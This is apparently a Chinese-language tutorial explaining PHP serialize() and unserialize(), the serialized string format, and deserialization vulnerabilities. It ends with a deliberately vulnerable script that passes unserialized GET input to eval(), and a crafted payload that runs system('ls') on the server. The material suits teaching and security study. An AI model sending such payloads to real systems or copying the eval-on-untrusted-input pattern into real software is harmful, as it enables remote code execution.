PHP序列化和反序列化
PHP序列化是将PHP对象转换为可存储或传输的字符串表示形式的过程,称为序列化。序列化后的字符串可以保存到文件、数据库或传输到其他系统,并在需要时恢复为原始的PHP对象。
PHP提供了两个用于序列化和反序列化的函数:serialize()
和unserialize()
。
- 序列化(serialize):
- 使用
serialize()
函数可以将PHP对象转换为一个字符串。这个字符串包含了对象的类名、属性和方法的信息,以及其他相关的数据。 - 序列化后的字符串可以通过文件存储、传输到其他系统或存储在数据库中。
- 使用
- 反序列化(unserialize):
- 使用
unserialize()
函数可以将序列化的字符串还原为原始的PHP对象。 - 反序列化过程会根据序列化字符串中的信息创建对象,并恢复对象的属性和方法。
- 使用
序列化和反序列化的过程使得数据在不同系统之间的传输和存储变得更加方便。例如,你可以将一个PHP对象序列化后保存到数据库中,下次需要时再通过反序列化还原为原始的PHP对象,继续操作。
需要注意的是,不是所有的数据类型和对象都可以被序列化。只有可被序列化的数据类型(如字符串、整数、数组等)和实现了Serializable
接口的对象才能进行序列化和反序列化操作。
PHP序列号和反序列化的例子
当我们有一个PHP对象需要序列化和反序列化时,我们可以使用以下示例来说明:
// 定义一个简单的类
class UserInfo {
public $name;
public $age;
public function __construct($name, $age) {
$this->name = $name;
$this->age = $age;
}
public function displayInfo() {
echo "Name: " . $this->name . ", Age: " . $this->age;
}
}
// 创建一个UserInfo对象
$user = new UserInfo("John Doe", 25);
// 序列化对象
$serializedData = serialize($user);
// 输出序列化后的字符串
echo "Serialized Data: " . $serializedData . "\n";
// 反序列化字符串为对象
$unserializedObj = unserialize($serializedData);
// 使用反序列化后的对象
$unserializedObj->displayInfo();
输出:
Serialized Data: O:8:"UserInfo":2:{s:4:"name";s:8:"John Doe";s:3:"age";i:25;} //这就是序列化后的对象
Name: John Doe, Age: 25 // 使用反序列化后的对象
在这个例子中,我们首先定义了一个 UserInfo 类,该类有两个属性(name和age)和一个方法(displayInfo)。我们创建了一个 UserInfo 对象并将其序列化为一个字符串。序列化后的字符串被存储在 $serializedData
变量中。
我们随后使用 unserialize()
函数对 $serializedData
进行反序列化,得到了一个原始的 PHP 对象。最后,我们调用了反序列化对象的 displayInfo()
方法来显示对象的属性。
通过序列化和反序列化,我们成功地将对象转换成字符串,并且能够还原为原始的 PHP 对象,进而使用其中的属性和方法。
PHP对象序列化后的格式
在PHP中,对象在序列化后的格式遵循一定的规则。序列化后的字符串通常包含以下几个部分:
- 类型标识符(Type Identifier):由字符串 “O” 开始,表示一个对象的序列化。
- 类名长度(Class Name Length):以冒号 “:” 分隔的一个整数,表示类名的长度。
- 类名(Class Name):表示被序列化对象的类名。
- 属性数量(Number of Properties):以冒号 “:” 分隔的一个整数,表示对象具有的属性数量。
- 属性的序列化:每个属性由其名称、类型和值组成,格式为:
- 属性名称长度(Property Name Length):以冒号 “:” 分隔的一个整数,表示属性名称的长度。
- 属性名称(Property Name):属性的名称。
- 属性值的类型标识符(Value Type Identifier):以冒号 “:” 分隔的一个字符,表示属性值的类型。
- 属性值(Property Value):属性的值。
- 结尾标识符(End Identifier):以分号 “;” 结束,表示数据的结束。
下面是一个示例对象序列化后的字符串,以便更好地理解上述格式:
O:8:"UserInfo":2:{s:4:"name";s:8:"John Doe";s:3:"age";i:25;} // 8表示UserInfo占八个字符,s表示name属性的值是字符串类型,4表示name属性的值占4个字符
按照格式解读:
- 类型标识符 “O” 表示这是一个对象的序列化。
- 类名长度为 8。
- 类名为 “UserInfo”。
- 属性数量为 2。
- 第一个属性是 “name”,其类型为字符串(标识符 “s”),长度为 8,值为 “John Doe”。
- 第二个属性是 “age”,其类型为整数(标识符 “i”),值为 25。
- 结尾标识符为 “;”,表示序列化数据的结束。
总结起来,对象序列化后的字符串包含了类名、属性名、属性值的类型和具体值等信息,以便在反序列化时能够还原为原始的PHP对象。
PHP反序列化漏洞
根据上述序列化和反序列化的内容,我们可以知道
- 序列化后的数据是可读的
- 序列化后的数据经过反序列化可以作为成为某个函数中的参数用来执行
- 由于可以被作为执行函数的参数,它搭配一些危险函数就会达到开发者意想不到的效果,比如:eval($a)等。
- 如果序列化内容是用户可控的,而且被作为可信数据,未进行校验或者校验不完全就会非常危险。
下面是php反序列化漏洞的官方解释:
PHP反序列化漏洞是一种安全漏洞,存在于未正确校验反序列化数据的PHP应用程序中。这类漏洞可能导致恶意攻击者执行任意代码或在应用程序中进行未授权的操作。
反序列化漏洞的根本原因是信任用户提供的反序列化数据,而不对其进行适当的验证和过滤。攻击者可以构造恶意的序列化数据,通过特定的触发点(如请求参数、Cookie、用户提交的数据等)将其传递给目标应用程序。当应用程序使用unserialize()
函数对这些数据进行反序列化时,恶意代码就会被执行。
攻击者利用反序列化漏洞的目的通常是执行以下一种或多种恶意行为:
- 远程代码执行(Remote Code Execution):通过构造恶意的序列化数据,攻击者可以执行任意的PHP代码,进而接管服务器或执行其他恶意操作。
- 未授权访问(Unauthorized Access):攻击者可能修改序列化数据,以修改对象的属性或绕过访问控制,从而获得未授权的访问权限。
PHP反序列化漏洞的例子
<?php
highlight_file(__FILE__);
error_reporting(0);
class test{
public $a = 'echo "this is test!!";';
public function displayVar() {
eval($this->a); // eval()函数内的语句会被系统执行
}
}
$get = $_GET["benben"];
$b = unserialize($get);
$b->displayVar() ;
?>
上述例子中可以看到benben是一个接收序列化数据的参数,然后benben被反序列化后成为一个新对象$b,$b->displayVar() ;会执行eval($this->a);
但是由于a是对象的一个属性,而对象又是由反序列化来的,所以执行的语句就等于是可控的。
比如我们传入:
?benben=O:4:"test":1:{s:1:"a";s:18:"echo system('ls');";}
然后O:4:"test":1:{s:1:"a";s:18:"echo system('ls');";}会被反序列化成一个新的对象其中test->a="echo system('ls');"
在函数displayVar()中就会执行eval("echo system('ls');");返回当前服务器当前目录下的文件